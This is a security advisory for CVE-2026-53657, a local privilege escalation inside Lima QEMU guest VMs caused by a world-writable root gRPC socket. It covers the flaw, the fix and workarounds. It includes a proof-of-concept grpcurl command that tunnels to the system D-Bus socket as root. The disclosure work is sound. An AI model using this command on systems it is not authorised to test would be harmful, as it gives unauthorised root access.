high · 8.2CVE-2026-53657Aug 14, 2026

CVE-2026-53657: Lima QEMU Guest Agent Socket World-Writable Privilege Escalation

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A world-writable Unix socket on Lima's QEMU guest agent let any unprivileged user inside the VM send unauthenticated gRPC calls to a root-owned service, escalating to root within the guest.

Packagegithub.com/lima-vm/lima/v2
Ecosystemgo
Affected<= 2.1.2
Fixed in2.1.3
CVE-2026-53657: Lima QEMU Guest Agent Socket World-Writable Privilege Escalation

The problem

Lima's guest agent daemon runs as root and, in versions up to 2.1.2, sets /run/lima-guestagent.sock to mode 0o777. This gives every user account in the QEMU VM a direct, unauthenticated channel to a root-privileged gRPC server.

The gRPC server registers no authentication or authorization interceptors. The Tunnel RPC accepts a caller-supplied destination address and dials it under the agent's own root credentials. An unprivileged user can therefore reach root-only local IPC endpoints (such as the system D-Bus socket) and execute arbitrary commands as root inside the VM.

The host is not affected.

Proof of concept

A working proof-of-concept for CVE-2026-53657 in github.com/lima-vm/lima/v2, with the exact payload below.

bash
# From inside the Lima QEMU guest as any unprivileged user:
# Step 1 — confirm the socket is world-writable (pre-patch)
ls -la /run/lima-guestagent.sock
# srwxrwxrwx 1 root root 0 ... /run/lima-guestagent.sock

# Step 2 — use grpcurl (or any gRPC client) to invoke the Tunnel RPC,
# tunneling through the root agent to the system D-Bus socket,
# then send a D-Bus method call that runs a command as root.
# The agent dials the destination as root; no auth is required.
grpcurl -plaintext \
  -unix /run/lima-guestagent.sock \
  -d '{"address": "unix:///run/dbus/system_bus_socket"}' \
  lima.GuestService/Tunnel

# Alternatively, abuse the root-owned socket directly:
# Any gRPC Tunnel call to a root-only listener (D-Bus, systemd socket, etc.)
# is executed under root credentials because the agent itself is root.

The single bad line is os.Chmod(socket, 0o777) in cmd/lima-guestagent/daemon_linux.go:141 (Lima v2.1.2). Because the daemon also runs as root and the gRPC server has no auth layer, mode 0o777 collapses the privilege boundary completely.

The Tunnel RPC is the direct escalation primitive: it accepts any caller-supplied Unix or TCP address and opens a connection to it under the agent's root identity, with no destination allowlist. An unprivileged user rides that connection to reach root-only IPC endpoints and run commands as root.

This maps to CWE-276 (Incorrect Default Permissions) and CWE-668 (Exposure of Resource to Wrong Sphere). The vz driver is unaffected because it communicates via vsocks, which are not exposed as filesystem-accessible Unix sockets.

The fix

Upgrade to Lima v2.1.3 (commit 8a45892). The patch replaces os.Chmod(socket, 0o777) with os.Chown(socket, socketOwner, -1) followed by os.Chmod(socket, 0o600), restricting the socket to the main VM user only. A new --socket-owner daemon flag carries the UID, wired through install_systemd_linux.go and the guest boot script 25-guestagent-base.sh via --socket-owner "${LIMA_CIDATA_UID}".

Workarounds for older versions: use the vz driver (limactl create --vm-type=vz) or disable the guest agent (limactl create --plain).

Reported by Syntetisk Research.

References: [1][2][3][4][5][6]

Related research